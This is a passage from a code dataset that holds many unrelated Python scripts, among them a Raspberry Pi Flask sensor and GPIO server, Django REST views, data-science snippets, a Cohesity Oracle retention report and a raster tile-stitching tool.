120ms\n# Device is automatically set to Power Down after measurement.\nONE_TIME_HIGH_RES_MODE_1 = 0x20\n# Start measurement at 0.5lx resolution. Time typically 120ms\n# Device is automatically set to Power Down after measurement.\nONE_TIME_HIGH_RES_MODE_2 = 0x21\n# Start measurement at 1lx resolution. Time typically 120ms\n# Device is automatically set to Power Down after measurement.\nONE_TIME_LOW_RES_MODE = 0x23\n\nbus = smbus.SMBus(1)  # Rev 2 Pi uses 1\n\ndef convertToNumber(data):\n  # Simple function to convert 2 bytes of data\n  # into a decimal number. Optional parameter 'decimals'\n  # will round to specified number of decimal places.\n  result=(data[1] + (256 * data[0])) / 1.2\n  return (result)\n\ndef readLight(addr=DEVICE):\n    # Read data from I2C interface\n    data = bus.read_i2c_block_data(addr,ONE_TIME_HIGH_RES_MODE_1)\n    return convertToNumber(data)\n\ndef readDevice(addr):\n    data = bus.read_i2c_block_data(addr,ONE_TIME_HIGH_RES_MODE_1)\n    return convertToNumber(data)\n\n\nclass Employees(Resource):\n    def get(self):\n        conn = db_connect.connect() # connect to database\n        query = conn.execute(\"select * from employees\") # This line performs query and returns json result\n        return {'employees': [i[0] for i in query.cursor.fetchall()]} # Fetches first column that is Employee ID\n\nclass Tracks(Resource):\n    def get(self):\n        conn = db_connect.connect()\n        query = conn.execute(\"select trackid, name, composer, unitprice from tracks;\")\n        result = {'data': [dict(zip(tuple (query.keys()) ,i)) for i in query.cursor]}\n        return jsonify(result)\n\nclass Employees_Name(Resource):\n    def get(self, employee_id):\n        conn = db_connect.connect()\n        query = conn.execute(\"select * from employees where EmployeeId =%d \"  %int(employee_id))\n        result = {'data': [dict(zip(tuple (query.keys()) ,i)) for i in query.cursor]}\n        return jsonify(result)\n        \nclass Light(Resource):\n    def get(self):\n        lightLevel=readLight()\n        # print(\"Light Level : \" + format(lightLevel,'.2f') + \" lx\")\n        return {'lightx': format(lightLevel,'.2f') + \" lx\"}\n\nclass ReadI2CDevice(Resource):\n    def get(self, device_address):\n        I2CDeviceValue = readDevice(int(device_address))\n        return {'i2cdevicevalue': I2CDeviceValue}\n\nclass ReadPin(Resource):\n    def get(self, pin_number):\n        status = GPIO.input(int(pin_number))\n\n        return {'pin_number':pin_number, 'status': status}\n\nclass WritePin(Resource):\n    def get(self, pin_number,value):\n        GPIO.output(int(pin_number),int(value))\n        status = GPIO.input(int(pin_number))\n        return {'pin_number':pin_number, 'status': status}\n\nclass TogglePin(Resource):\n    def get(self, pin_number):\n\n        status = GPIO.input(int(pin_number))\n        if status == GPIO.HIGH:\n            GPIO.output(int(pin_number),GPIO.LOW)\n        else:\n            GPIO.output(int(pin_number),GPIO.HIGH)\n\n        status = GPIO.input(int(pin_number))\n        return {'pin_number':pin_number, 'status': status}\n\n\napi.add_resource(Employees, '/employees') # Route_1\napi.add_resource(Tracks, '/tracks') # Route_2\napi.add_resource(Employees_Name, '/employees/<employee_id>') # Route_3\napi.add_resource(Light, '/light') # Route_4\napi.add_resource(ReadI2CDevice, '/readi2cdevice/<device_address>') # Route_4\n\napi.add_resource(ReadPin, '/readpin/<pin_number>') # Route_3\napi.add_resource(WritePin, '/writepin/<pin_number>/<value>') # Route_3\napi.add_resource(TogglePin, '/togglepin/<pin_number>') # Route_3\n\n\ndef set_interval(func, sec):\n    def func_wrapper():\n        set_interval(func, sec)\n        func()\n    t = Timer(sec, func_wrapper)\n    t.start()\n    return t\n\ndef chekLight():\n    global firstevent\n    lightlevel = readLight()\n    if lightlevel < 50:\n        print(\"Light Level : \" + format(lightlevel,'.2f') + \" lx\")\n        if not firstevent:\n            m = \"Alarm! Light Level : \" + format(lightlevel,'.2f') + \" lx\"\n            print(m)\n            sendEmailMessage(\"simmaco.ferriero@live.it\", \"simmaco.ferriero@gmail.com\", \"Alarm light\", m)\n            firstevent = True\n\n\ndef sendEmailMessage(f,t,s,m):\n    import email\n    import smtplib\n\n    msg = email.message_from_string(m)\n    msg['From'] = f\n    msg['To'] = t\n    msg['Subject'] = s\n\n    s = smtplib.SMTP(\"smtp.live.com\",587)\n    s.ehlo() # Hostname to send for this command defaults to the fully qualified domain name of the local host.\n    s.starttls() #Puts connection to SMTP server in TLS mode\n    s.ehlo()\n    s.login('simmaco.ferriero@live.it', '<YOUR_PASSWORD>')\n\n    s.sendmail(f, t, msg.as_string())\n\n    s.quit()\n\nset_interval(chekLight,1)\n\n\n\nif __name__ == '__main__':\n    firstevent = False\n    app.run(host='192.168.1.38',port='5002')\n","repo_name":"simfer/rpi3","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"11577793091","text":"# 9506\n\nimport math\n\nwhile True:\n  num = int(input())\n  divisor = []\n  if num == -1:\n    break\n  for i in range(1, math.ceil(math.sqrt(num))):\n    if num % i == 0:\n      divisor.append(i)\n      divisor.append(num//i)\n  divisor.sort()\n  \n  if sum(divisor[:-1]) == num:\n    result = \" + \".join(map(str, divisor[:-1]))\n    print(f\"{num} = {result}\")\n  else:\n    print(f\"{num} is NOT perfect.\")","repo_name":"starcat37/Algorithm","sub_path":"BOJ/Bronze/9506.py","file_name":"9506.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"7973295377","text":"from heroes import Superman, SuperHero, News, JeanGrey, Deadpool\nfrom places import Kostroma, Tokyo, Asgard\nfrom random import choice\n\n\ndef save_the_place(hero: SuperHero, place=None):\n    if place:\n        place = place\n\n    else:\n        city = [Kostroma(), Tokyo(), Asgard()]\n        place = choice(city)\n\n    hero.find(place)\n    hero.attack()\n    if hero.can_use_ultimate_attack:\n        hero.ultimate()\n    News.create_news(hero, place)\n\n\nif __name__ == '__main__':\n    save_the_place(Superman(), Tokyo())\n    print('-' * 20)\n    save_the_place(JeanGrey())\n    print('-' * 20)\n    save_the_place(Deadpool())\n    print('-' * 20)\n    save_the_place(SuperHero('WonderWomen', True))\n","repo_name":"infraket/randomPy","sub_path":"homework-3/oop+comics/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"37722898550","text":"from selenium import webdriver\n\n# driver = webdriver.Chrome()\n\n# 火狐浏览器 先记住密码\n# 火狐浏览器 帮助---故障排除信息--配置文件夹\n# profile_director = \"配置文件夹的路径\"\n# # 实例化火狐浏览器配置项\n# profile = webdriver.FirefoxProfile(profile_director)\n# driver = webdriver.Firefox(profile)\n\n# 谷歌浏览器\n\nuser_data_dir = r\"--user-data-dir=C:\\Users\\windows-pc\\AppData\\Local\\Google\\Chrome\\User Data\"\n# # # 配置谷歌浏览器加载项\noptions = webdriver.ChromeOptions()\noptions.add_argument(user_data_dir)\n\ndriver = webdriver.Chrome(options=options)\n\ndriver.get(\"http://oms-uat.jiangxi-isuzu.cn/#/login\")","repo_name":"15008477526/-","sub_path":"web_aaaaaaaa/免登陆.py","file_name":"免登陆.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"26923403809","text":"import socket\n\nsoket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\nHOST = 'localhost'\nPORT = 8080\n\nsoket.connect((HOST,PORT))\n\ndata = soket.recv(1024)\n\nprint (data)\n\nsoket.send (\"Hoşbulduk!\")\n\nsoket.close()","repo_name":"istabi/sistemproje","sub_path":"Deneme.py","file_name":"Deneme.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"5101642460","text":"import filecmp\nclass Employee:\n    id = None\n    name=\"Unknown\"\n\nclass Customer:\n    id=None\n    name=\"Unknown\"\n    balance =0\n\ndef test():\n    test_file = open(\"test.txt\", \"r\")\n    output_file = open(\"output.txt\", \"r\")\n    if output_file==test_file:\n        pritn('test passed')\n    else:\n        print(\"test failed\")\n    print(filecmp.cmp('test.txt', 'output.txt'))\n\n\ntext_file = open(\"test.txt\", \"w\")\ntext_file.close()\n\nwith open(\"data.txt\",'r') as file:\n  data=file.readlines()\n\ncust={}\nemp={}\n\nfor dat in data:\n    dat=dat.rstrip()\n    x = dat.split(\" \")\n\n    if (dat.startswith('c')):\n        c=Customer()\n        c.id=x[1]\n        c.name=x[2]\n        c.balance=x[3]\n        cust[x[1]]=c\n\n    elif (dat.startswith('e')):\n        e=Employee()\n        e.id=x[1]\n        e.name=x[2]\n        emp[x[1]]=e\n\n\n    elif (dat.startswith('t')):\n        if x[3]=='w':\n            cust[x[1]].balance= float(cust[x[1]].balance)-float(x[4])\n            output=cust[x[1]].name+' '+emp[x[2]].name+' -$'+x[4] +' $'+' '+str(round(cust[x[1]].balance,2))\n            print(output)\n\n            text_file = open(\"test.txt\", \"a\")\n            text_file.write(output+\"\\n\")\n        elif x[3]=='d':\n            cust[x[1]].balance= float(cust[x[1]].balance)+float(x[4])\n            output =cust[x[1]].name+' '+emp[x[2]].name+' +$'+x[4] +' $'+' '+str(round(cust[x[1]].balance,2))\n            print(output)\n            text_file = open(\"test.txt\", \"a\")\n            text_file.write(output+\"\\n\")\n\ntest()\n","repo_name":"Aadityaza/Software-engineering","sub_path":"lab2.py","file_name":"lab2.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"23233243048","text":"from django.shortcuts import render\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom .models import Video, Profile\nfrom .serializers import VideoSerializer, ProfileSerializer, NotificationSerializer\n\n@api_view(['GET'])\ndef video(request):\n    videos = Video.objects.all()\n    serialiazer = VideoSerializer(videos, many=True)\n    return Response(serialiazer.data)\n\n@api_view(['POST'])\ndef create_video(request):\n    serialiazer = VideoSerializer(data=request.data)\n    if serialiazer.is_valid():\n        serializer.save()\n        return Response(serializer.data, status=status.HHTP_201_CREATED)\n    return Response(serialiazer.erros, status=status.HTTP_400_BAD_REQEST)\n\n\n@api_view(['POST'])\ndef comment_video(request, slug):\n    video = Video.objects.get(slug=slug)\n    comments = Comment.objects.create(\n        user=request.user,\n        post=video,\n        comments=comments\n    )\n    serializer = CommentSerializer(comments, many=False)\n    return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef profile(request):\n    profiles = Profile.objects.filter(user=request.user)\n    serializer = ProfileSerializer(profiles, many=True)\n    return Response(serializer.data)\n\n@api_view(['GET'])\ndef public_profile(request, slug):\n    profile = Profile.objects.get(slug=slug)\n    serializer = ProfileSerializer(profile, many=False)\n    return Response(serializer.data)\n\n@api_view(['PUT'])\ndef update_profile(request, slug):\n    data = request.data\n    profile = Profile.objects.get(slug=slug)\n    serializer = ProfileSerializer(profile, data=request.data)\n    if serializer.is_valid():\n        serializer.save()\n    return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef notification(request):\n    notifications = Notification.objects.filter(user=request.user)\n    serializer = NotificationSerializer(notifications, many=True)\n    return Response(serializer.data)\n\n\n\n\n\ndef home(request):\n    return render(request, 'home.html')\n","repo_name":"Adamu-Abdulkarim-Dee/video-sharing","sub_path":"company/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"9109053662","text":"import plotly.plotly as py\nimport plotly.offline as offline\nfrom plotly.offline import download_plotlyjs, init_notebook_mode, plot, iplot\nimport plotly.graph_objs as go\nimport numpy as np\nfrom sklearn.decomposition import PCA\nfrom .utils import loadData\n\ndef scatterD2V(d2vSize, d2v_model, name):\n    #put vector representations into an array\n    vecArray = np.zeros(shape=(len(d2v_model.docvecs), d2vSize))\n    for idx in range(len(d2v_model.docvecs)):\n        vecArray[idx]=d2v_model.docvecs[idx]\n    #run through PCA\n    d2vPca = PCA().fit_transform(vecArray)\n    #visualize\n    trace1 = go.Scatter(\n        x = d2vPca[:, 0],\n        y = d2vPca[:, 1],\n        mode='markers',\n        text = list(range(len(d2v_model.docvecs))),\n        hoverinfo = 'text'\n    )\n    #identify the data\n    data = [trace1]\n    #make the layout\n    layout = go.Layout(\n        title=('Corpus Plotted in Term of Similarity'),\n        xaxis= dict(\n            title= 'PCA 2',\n            ticklen= 5,\n            zeroline= False,\n            gridwidth= 2,\n        ),\n        yaxis=dict(\n            title= 'PCA 1',\n            ticklen= 5,\n            gridwidth= 2,\n        ),\n        showlegend= False\n    )\n    fig = go.Figure(data=data, layout=layout)\n\n    offline.plot(fig, filename='results/D2VCorpusScatter' + name + '.html') #image = 'png',image_filename='D2VCorpusScatter',","repo_name":"jaybooth4/DataVizMidterm","sub_path":"frontend/scatterD2V.py","file_name":"scatterD2V.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"71153586023","text":"\nimport EucDistanceCounter\nimport LowestKNumberCounter\n\nclass TCunter:\n\n    eucDisCounter = None\n    lowestKNumberCounter = LowestKNumberCounter.LowestKNumberCounter()\n\n    def __init__(self, eucDisCounter):\n        self.eucDisCounter = eucDisCounter\n        pass\n\n\n    def countT(self, data1, data2, k):\n        sumT = 0\n        xArr1 = data1.getX()\n        arr1 = data1.getY()\n\n        xArr2 = data2.getX()\n        arr2 = data2.getY()\n\n        for i in range(0, len(arr1)):\n            ithSum = 0\n            dis1 = self.eucDisCounter.countArr(arr1[i], xArr1[i], xArr1, arr1)\n            dis2 = self.eucDisCounter.countArr(arr1[i], xArr1[i], xArr2, arr2)\n            for j in range(1, k+1):\n                #print dis1\n                #print dis2\n                tmp  = self.lowestKNumberCounter.isKthLowestNumberInFirstArray(dis1, dis2, j)\n                #print tmp\n                ithSum = ithSum + tmp\n            sumT = sumT + ithSum\n        for i in range(0, len(arr2)):\n            ithSum = 0\n            dis1 = self.eucDisCounter.countArr(arr2[i], xArr2[i], xArr1, arr1)\n            dis2 = self.eucDisCounter.countArr(arr2[i], xArr2[i], xArr2, arr2)\n            for j in range(1, k+1):\n                #print dis1\n                #print dis2\n                tmp  = self.lowestKNumberCounter.isKthLowestNumberInFirstArray(dis2, dis1, j)\n                #print tmp\n                ithSum = ithSum + tmp\n            sumT = sumT + ithSum\n        #print sumT\n        nominator = k*(len(arr1)+len(arr2))\n        #print nominator\n        return float(sumT)/float(nominator)\n\n","repo_name":"GrzegorzR/multicore-fit","sub_path":"counters/TCounter.py","file_name":"TCounter.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"36676830089","text":"from typing import *\n\nimport pytorch_lightning as pl\nfrom torch import optim\n\nfrom tablestakes.ml2.factored import trunks_mod\n\nfrom chillpill import params\n\n\nclass OptParams(trunks_mod.BuilderParams):\n    num_epochs: int = 10\n    lr: float = 0.001\n    min_lr: float = 1e-6\n    patience: int = 10\n    search_metric: str = 'valid/loss'\n    search_mode: str = 'min'\n    lr_reduction_factor: float = 0.5\n\n    def build(self) -> 'OptimizersMaker':\n        return OptimizersMaker(hp=self)\n\n\nclass OptimizersMaker:\n    def __init__(self, hp: OptParams):\n        super().__init__()\n        self.hp = hp\n        self.pl_module = None\n\n    def set_pl_module(self, pl_module: pl.LightningModule):\n        self.pl_module = pl_module\n\n    # noinspection PyProtectedMember\n    def get_optimizers(self) -> Tuple[List[optim.Optimizer], List[optim.lr_scheduler._LRScheduler]]:\n        optimizer = optim.AdamW(self.pl_module.parameters(), lr=self.hp.lr)\n\n        # coser = optim.lr_scheduler.CosineAnnealingLR(\n        #     optimizer,\n        #     T_max=self.neck_hp.opt.patience // 2,\n        #     eta_min=self.neck_hp.opt.min_lr,\n        #     verbose=True,\n        # )\n\n        reducer = {\n            'scheduler': optim.lr_scheduler.ReduceLROnPlateau(\n                optimizer=optimizer,\n                mode=self.hp.search_mode,\n                factor=self.hp.lr_reduction_factor,\n                patience=self.hp.patience,\n                min_lr=self.hp.min_lr,\n                verbose=True,\n            ),\n            'monitor': self.hp.search_metric,\n            'interval': 'epoch',\n            'frequency': 1\n        }\n\n        optimizers = [optimizer]\n        # schedulers = [x_reducer_name, coser]\n        schedulers = [reducer]\n\n        return optimizers, schedulers\n\n\n","repo_name":"kevinbache/tablestakes","sub_path":"python/tablestakes/ml2/factored/opt_mod.py","file_name":"opt_mod.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"73486443304","text":"#%%allprogram\r\nimport pandas as pd , numpy as np\r\nimport matplotlib as plt \r\nfrom IPython.display import Image\r\nfrom sklearn import tree, metrics \r\nimport pydotplus\r\nfrom sklearn import model_selection\r\nimport graphviz\r\n\r\ndatajarkom = pd.read_csv('dataset/jaringankomputer.csv')\r\nprint(datajarkom)\r\n\r\ndatajarkom['class'], labelname = pd.factorize(datajarkom['class'])\r\n# print(labelname)\r\n#print(datajarkom['class'].unique())\r\n\r\ndatajarkom['waktu'],_ = pd.factorize(datajarkom['waktu'])\r\ndatajarkom['prioritas'],_ = pd.factorize(datajarkom['prioritas'])\r\ndatajarkom['paket'],_ = pd.factorize(datajarkom['paket'])\r\ndatajarkom['frekuensi'],_ = pd.factorize(datajarkom['frekuensi'])\r\nprint(datajarkom)\r\n\r\n\r\nX = datajarkom.iloc[:,:-1]\r\ny = datajarkom.iloc[:,-1]\r\n\r\n\r\nX_train, X_test, y_train, y_test = model_selection.train_test_split(X,y,train_size = 0.8 , random_state = None)\r\n\r\nprint(X_train)\r\nprint(y_train)\r\nprint(X_test)\r\nprint(y_test)\r\ndtree = tree.DecisionTreeClassifier(criterion = 'entropy', max_depth = 3, random_state = None)\r\ndtree.fit(X_train,y_train)\r\n# print(result)\r\n\r\n\r\ny_pred = dtree.predict(X_test)\r\ncount_misclassified =  (y_test != y_pred).sum()\r\nprint('Misclassified samples : {}'.format(count_misclassified))\r\n\r\naccuracy = metrics.accuracy_score(y_test,y_pred)\r\nprint('accuracy : {:.2f}'.format(accuracy))\r\n\r\n\r\nnama_fitur= X.columns\r\n\r\ndot_data = tree.export_graphviz(dtree, out_file= None, \r\n                                filled=True, rounded=True,\r\n                                feature_names= nama_fitur,\r\n                                class_names= labelname)\r\n\r\n#graph = pydotplus.graph_from_dot_data(dot_data)\r\ngraph = graphviz.Source(dot_data)\r\ngraph.render(\"DecisionTree\",view= True)\r\n# graph.write_png('tree.png')\r\n# Image(graph.create_png())\r\n","repo_name":"citraazizah/Klasifikasi-DecisionTree","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"74876456105","text":"for i in range(int(input())):\r\n    arr=map(int,input().split())\r\n    arr=list(arr)\r\n    sumi1=sum(arr)\r\n    if(sumi1==0):\r\n        print(\"Beginner\")\r\n    elif(sumi1==1):\r\n        print(\"Junior Developer\")\r\n    elif(sumi1==4):\r\n        print(\"Hacker\")\r\n    elif(sumi1==2):\r\n        print(\"Middle Developer\")\r\n    elif(sumi1==3):\r\n        print(\"Senior Developer\")\r\n    else:\r\n        print(\"Jeff Dean\") ","repo_name":"anirudhkannanvp/CODECHEF","sub_path":"COOK91/CCOOK.py","file_name":"CCOOK.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"9365109448","text":"#!/usr/bin/python\r\n\r\nimport sys\r\n\r\nfor line in sys.stdin:\r\n        line = line.strip().split('|')\r\n        lo_quantity, lo_discount, lo_revenue = line[8], line[11], line[12]\r\n\r\n        if int(lo_discount) >= 3 and int(lo_discount) <= 5:\r\n                print('{}\\t{}'.format(lo_quantity, lo_revenue))\r\n","repo_name":"hannahyang868/ETL-Example","sub_path":"mapper.py","file_name":"mapper.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"3630048278","text":"from shell import exec_command\nfrom datetime import datetime\nfrom basic import base_path\n\ndef make_snapshot():\n    print(\"Creating Snapshots\")\n    stdout, stderr, status = exec_command('btrfs subvolume list /')\n    if status != 0:\n        print(\"There was an error reading the btrfs subvolumes\")\n        return False\n\n    folder_name = f'{base_path}/.snapshots/{datetime.now().isoformat()}'\n    stdout, stderr, status = exec_command(f'mkdir -pv {folder_name}')\n    if status != 0:\n        print(\"There was an error creating snapshots folder\")\n        return False\n\n    stdout, stderr, status = exec_command(f'btrfs subvolume snapshot / {folder_name}/root')\n    if status != 0:\n        print(\"There was an error creating root snapshot\")\n        return False\n    print(stdout)\n\n    stdout, stderr, status = exec_command(f'btrfs subvolume snapshot /home/ {folder_name}/home')\n    if status != 0:\n        print(\"There was an error creating home snapshot\")\n    print(stdout)\n\n    return True\n\n","repo_name":"SwaXTech/dotfiles","sub_path":"btrfs_snapshots.py","file_name":"btrfs_snapshots.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"854543937","text":"#!/usr/bin/env python\n\"\"\"unprotect oracle\"\"\"\n\n# import pyhesity wrapper module\nfrom pyhesity import *\nfrom datetime import datetime\nimport codecs\n\n# command line arguments\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument('-v', '--vip', type=str, default='helios.cohesity.com')\nparser.add_argument('-u', '--username', type=str, default='helios')\nparser.add_argument('-d', '--domain', type=str, default='local')\nparser.add_argument('-c', '--clustername', type=str, default=None)\nparser.add_argument('-mcm', '--mcm', action='store_true')\nparser.add_argument('-i', '--useApiKey', action='store_true')\nparser.add_argument('-pwd', '--password', type=str, default=None)\nparser.add_argument('-np', '--noprompt', action='store_true')\nparser.add_argument('-m', '--mfacode', type=str, default=None)\nparser.add_argument('-of', '--outfolder', type=str, default='.')\n\nargs = parser.parse_args()\n\nvip = args.vip\nusername = args.username\ndomain = args.domain\nclustername = args.clustername\nmcm = args.mcm\nuseApiKey = args.useApiKey\npassword = args.password\nnoprompt = args.noprompt\nmfacode = args.mfacode\nfolder = args.outfolder\n\n# authenticate\napiauth(vip=vip, username=username, domain=domain, password=password, useApiKey=useApiKey, helios=mcm, prompt=(not noprompt), mfaCode=mfacode)\n\n# if connected to helios or mcm, select access cluster\nif mcm or vip.lower() == 'helios.cohesity.com':\n    if clustername is not None:\n        heliosCluster(clustername)\n    else:\n        print('-clustername is required when connecting to Helios or MCM')\n        exit()\n\n# exit if not authenticated\nif apiconnected() is False:\n    print('authentication failed')\n    exit(1)\n\ncluster = api('get', 'cluster')\n\nnow = datetime.now()\ndatestring = now.strftime(\"%Y-%m-%d\")\ncsvfileName = '%s/oracleLogDeletionDaysReport-%s-%s.csv' % (folder, cluster['name'], datestring)\ncsv = codecs.open(csvfileName, 'w', 'utf-8')\ncsv.write('\"Cluster Name\",\"Job Name\",\"Source Name\",\"Databased Name\",\"Log Deletion Days\"\\n')\n\njobs = api('get', 'data-protect/protection-groups?environments=kOracle&isActive=true&isDeleted=false', v=2)\n\nif jobs['protectionGroups'] is None:\n    print('no jobs found')\n    exit(1)\n\nsources = api('get', 'protectionSources?environments=kOracle')\nif sources is None or len(sources) == 0 or 'nodes' not in sources[0] or len(sources[0]['nodes']) == 0:\n    print('no registered oracle sources')\n    exit(1)\n\nobjectName = {}\nfor thisSource in sources[0]['nodes']:\n    for instance in thisSource['applicationNodes']:\n        objectName[\"%s\" % instance['protectionSource']['id']] = \"%s/%s\" % (thisSource['protectionSource']['name'], instance['protectionSource']['name'])\n\nfor job in sorted(jobs['protectionGroups'], key=lambda job: job['name'].lower()):\n    print('\\n%s' % job['name'])\n    for o in job['oracleParams']['objects']:\n        for dbParam in o['dbParams']:\n            logDeletionDays = 'n/a'\n            if len(dbParam['dbChannels']) > 0:\n                logDeletionDays = dbParam['dbChannels'][0]['archiveLogRetentionDays']\n                if (\"%s\" % dbParam['databaseId']) in objectName.keys():\n                    thisObject = objectName[\"%s\" % dbParam['databaseId']]\n                    (thisServer, thisDB) = thisObject.split('/')\n            if (\"%s\" % dbParam['databaseId']) in objectName.keys():\n                print(\"  %s: %s\" % (objectName[\"%s\" % dbParam['databaseId']], logDeletionDays))\n                csv.write('\"%s\",\"%s\",\"%s\",\"%s\",\"%s\"\\n' % (cluster['name'], job['name'], thisServer, thisDB, logDeletionDays))\ncsv.close()\nprint('\\nOutput saved to %s\\n' % csvfileName)\n","repo_name":"bseltz-cohesity/scripts","sub_path":"oracle/python/oracleLogDeletionDaysReport/oracleLogDeletionDaysReport.py","file_name":"oracleLogDeletionDaysReport.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"36"}
{"seq_id":"957070592","text":"pkgname = \"v4l-utils\"\npkgver = \"1.24.1\"\npkgrel = 0\nbuild_style = \"gnu_configure\"\nconfigure_args = [\"--disable-qv4l2\", \"--with-udevdir=/usr/lib/udev\"]\nmake_cmd = \"gmake\"\nhostmakedepends = [\n    \"gmake\",\n    \"automake\",\n    \"libtool\",\n    \"pkgconf\",\n    \"gettext-devel\",\n]\nmakedepends = [\n    \"libjpeg-turbo-devel\",\n    \"sysfsutils-devel\",\n    \"udev-devel\",\n    \"libx11-devel\",\n    \"mesa-devel\",\n    \"glu-devel\",\n    \"argp-standalone\",\n]\npkgdesc = \"Userspace tools and libraries for V4L\"\nmaintainer = \"q66 <q66@chimera-linux.org>\"\nlicense = \"GPL-2.0-or-later AND LGPL-2.1-or-later\"\nurl = \"https://linuxtv.org/wiki/index.php/V4l-utils\"\nsource = f\"http://linuxtv.org/downloads/{pkgname}/{pkgname}-{pkgver}.tar.bz2\"\nsha256 = \"cbb7fe8a6307f5ce533a05cded70bb93c3ba06395ab9b6d007eb53b75d805f5b\"\ntool_flags = {\n    \"CFLAGS\": [\"-D__off_t=off_t\", \"-D__off64_t=off_t\"],\n    \"LDFLAGS\": [\"-largp\"],\n}\n\n\n@subpackage(\"v4l-utils-devel\")\ndef _devel(self):\n    return self.default_devel()\n","repo_name":"chimera-linux/cports","sub_path":"main/v4l-utils/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":119,"dataset":"github-code","pt":"36"}
{"seq_id":"12486257262","text":"import os\nimport glob\nimport shutil\nimport rasterio\nimport argparse\nimport numpy as np\nimport pandas as pd\nfrom tqdm import tqdm\n\nfrom rasterio.windows import Window\n\n\ndef read_raster(path):\n    \"\"\"Read raster and profile\"\"\"\n    with rasterio.open(path) as src:\n        return src.read(), src.profile\n\n\ndef get_max(data):\n    \"\"\"Get max indices for x and y axes\"\"\"\n    x = max([v[0] for v in data.values()])\n    y = max([v[1] for v in data.values()])\n    return x, y\n\n\ndef get_cluster_tiles(cluster_id, df):\n    \"\"\"Select cluster tiles\"\"\"\n    df = df[df.cluster_id == cluster_id]\n    data = {}\n    for i, row in df.iterrows():\n        data[row.id] = (row.x, row.y)\n    return data\n\n\ndef get_cluster_tile_size(cluster_id, df):\n    \"\"\"Select tile size for specified cluster id\"\"\"\n    df = df[df.cluster_id == cluster_id]\n    return df.iloc[0][\"tile_size\"]\n\n\ndef create_raster(dst_path, data, id_to_path, step=1, tile_size=1024, dtype=\"uint8\", count=1, resolution=0.1, **kwargs):\n    \"\"\"Create stitched tif file from tiles\"\"\"\n    assert tile_size % step == 0\n    \n    max_x, max_y = get_max(data)\n    h = (max_y + 1) * tile_size // step\n    w = (max_x + 1) * tile_size // step\n    profile = dict(\n        driver='GTiff',\n        nodata=0,\n        count=count,\n        height=h,\n        width=w,\n        dtype=dtype,\n        crs=\"EPSG:3857\",  # just to make it not empty provide fake crs\n        transform=[step * resolution, 0, 0, 0, - step * resolution, 0],  # provide fake transform\n    )\n    profile.update(kwargs)\n\n    # create big raster on disk and start writing each tile by window writing\n    with rasterio.open(dst_path, \"w\", **profile) as dst:\n        with tqdm(data.items()) as data_items:\n            for id, position in data_items:\n                raster, _ = read_raster(id_to_path[id])\n                raster = raster[:3, ::step, ::step]\n                x_start = position[0] * tile_size // step\n                y_start = position[1] * tile_size // step\n                dst.write(raster, window=Window(x_start, y_start, tile_size // step, tile_size // step))\n\n\ndef main(df_path, path_pattern, dst_dir):\n\n    # read data about tile positions\n    df = pd.read_csv(df_path)\n\n    # collect test data file paths\n    tile_paths = glob.glob(path_pattern)\n\n    # create output dir\n    stitched_dst_dir = os.path.join(dst_dir, \"stitched\")  # dir for stitched test tiles\n    sliced_dst_dir = os.path.join(dst_dir, \"sliced\")  # dir for not stiched test tiles\n    \n    os.makedirs(stitched_dst_dir, exist_ok=True)\n    os.makedirs(sliced_dst_dir, exist_ok=True)\n    \n    id_to_path = {os.path.basename(p):p for p in tile_paths}\n    cluster_ids = df.cluster_id.unique()\n\n    # create stitced files\n    for cluster_id in cluster_ids:\n        if cluster_id == -1:  # -1 is not clustered tiles\n            continue\n    \n        dst_path = os.path.join(stitched_dst_dir, f\"{cluster_id}.tif\".zfill(7))\n        data = get_cluster_tiles(cluster_id, df)\n        tile_size = get_cluster_tile_size(cluster_id, df)\n\n        print(f\"Creating stitched cluster #{cluster_id}\")\n        create_raster(\n            dst_path, data, id_to_path, step=1, count=3, resolution=0.1, \n            tile_size=tile_size, tiled=True, blockxsize=256, blockysize=256, BIGTIFF='IF_NEEDED',\n        )\n\n    # copy not stitched files\n    ids = df[df.cluster_id == -1].id.values\n    for image_id in ids:\n        src_path = 